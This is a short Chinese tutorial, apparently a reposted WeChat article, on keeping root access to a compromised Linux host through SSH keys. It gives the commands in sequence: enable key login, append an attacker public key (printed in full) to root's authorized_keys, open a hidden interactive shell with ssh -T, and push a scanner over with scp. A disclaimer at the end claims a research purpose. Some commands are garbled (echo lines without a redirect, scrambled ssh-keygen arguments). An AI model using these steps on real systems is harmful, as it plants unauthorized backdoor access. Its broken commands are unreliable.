0x00 前提
-
以前的老东西,拿出水一篇 -
一般是通过 Rce,提权等等情况,拿到目标 linux 的 root 权限 -
主要是没有密码, hash 跑不出来,机器无法正常出网 -
就可以去试着正向链接
0x01 首先目标主机,修改目标 Ssh 服务配置
启用ssh证书登录,并重启SSH 服务
echo RSAAuthentication yes /etc/ssh/sshd_config
echo PubkeyAuthentication yes /etc/ssh/sshd_config
systemctl restart sshd
0x02 本地linux上生成密钥
"" -f ~/.ssh/id_rsa ssh-keygen -t rsa -P
注意:这一步最好去一个纯净的Linux生成,因为这个key会暴露你的主机名
//找见id_rsa.pub自行拷贝出来
ls -al /root/.ssh/
cp /root/.ssh/id_rsa.pub /home/xxxx/Desktop/
//赋于权限
chmod 777 /home/xxxx/Desktop/id_rsa.pub
id_rsa(私钥)
id_rsa.pub(公钥)
0x03 linux目标机写入公钥
-
自行上传公钥到内网linux,并将其保存到/root/.ssh/目录下,文件名改为authorized_keys,或者命令执行用echo追加
-
如目标已事先存在authorized_keys文件,直接往最后追加即可
-
注意:再操作之前要对原authorized_keys进行“备份”,以备不时之需。
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8Zrks74SYQ4JzKFvYPyL2tG+Scx/y/gIDk5znJF6XKjJ2MFS7RfsjKqpRk7bb+bDpgb5awiMzMOUgwBDheJKerji9/FD+jHEI133ejCZphiPL0+OItLdl7uUt+NFMMPNeXh9lmDOwApxVg54xhDjyzWYaV6xQgvWuZK+6qNBD1TW2/zXImeHpC+L37KQSgFvtxyOiYw/Uq/Caoa9VkcFsUsJ1ftmKSh7unkEJiJAHpzmI0SquNdrgTJ5AiVclQbTa8viyl+irXYjUyvxWKCqBhMhuQQFEMRdViVStgSRoVREEH361J7T7oCC0rJE2XV8MlejXZGi7if34gYHYgyBKvEQ9/Ff+fkQV5LXdZLkC0h3wOBLV9lWwMamlFSjJMTSBlZP1syHYV/X1YNO76SmLUUi48PwDQa52g0tI2TusDmjgARWxwhCndu463dwbCcGjfHnSEAWEB2WGJcKOcpfGLUrdDt9My/d26dfMTNdlaw+kdnDVlYvk0qnyBBZhyfE= [email protected] >> /root/.ssh/authorized_keys
0x04 幽灵登录
ssh -T root@192.168.1.1 /usr/bin/bash -i
0x05 利用Scp 无密码互传文件
scp -P 22 -r /root/fsacn root@10.211.55.11:/usr/tmp/fsacn
原文始发于微信公众号(菜鸟学信安):实战|无密码Linux主机利用公钥直接连接
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论